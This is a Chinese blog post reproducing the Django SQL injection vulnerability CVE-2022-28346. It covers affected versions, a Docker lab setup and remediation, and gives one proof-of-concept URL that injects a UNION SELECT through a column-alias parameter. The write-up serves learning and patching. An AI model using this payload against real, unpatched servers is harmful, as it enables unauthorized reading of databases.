【漏洞复现】Django SQL注入漏洞 (CVE-2022-28346)

淡淡的烟草味﹌ 2024-03-30 13:17 164阅读 0赞

文章目录

  • 一、简介
  • 二、漏洞概述
  • 三、漏洞影响版本
  • 四、漏洞分析
  • 五、漏洞复现
  • 六、修复方法

一、简介

Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。

二、漏洞概述

漏洞编号:CVE-2022-28346

攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28之前的 Django 2.23.2.13之前的 3.24.0.4 之前的 4.0 中都存在这个问题。


三、漏洞影响版本

  • 4.0 <= Django < 4.0.4
  • 3.2 <= Django < 3.2.13
  • 2.2 <= Django < 2.2.28

四、漏洞分析

http://cn-sec.com/archives/962127.html


五、漏洞复现

Docker
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346

本地环境搭建
环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346

Python:3.9.8
Django:3.2.11

本地启动

环境初始化

  1. python manage.py makemigrations
  2. python manage.py migrate
  3. 访问http://x.x.x.x:8000/ 插入初始化数据

在这里插入图片描述
浏览器访问
在这里插入图片描述
访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)
在这里插入图片描述
访问到demo/ 目录下,同样会出现报错信息
在这里插入图片描述
利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –
在这里插入图片描述

六、修复方法

官方已发布安全版本
下载地址:https://www.djangoproject.com/download/

发表评论

表情:
评论列表 (有 0 条评论,164人围观)

还没有评论,来说两句吧...

相关阅读